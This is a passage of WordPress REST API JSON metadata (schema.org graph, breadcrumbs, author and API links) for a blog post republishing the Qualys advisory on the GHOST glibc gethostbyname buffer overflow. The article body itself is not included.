Overflow_PACKETSTORM:215330","datePublished":"2026-02-11T12:47:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40486"},"wordCount":5195,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-10.0","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40486#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40486","url":"https:\/\/zero.redgem.net\/?p=40486","name":"\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-11T12:47:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40486#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40486"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40486#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40486","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40486"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40486\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40486"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40486"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40486"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}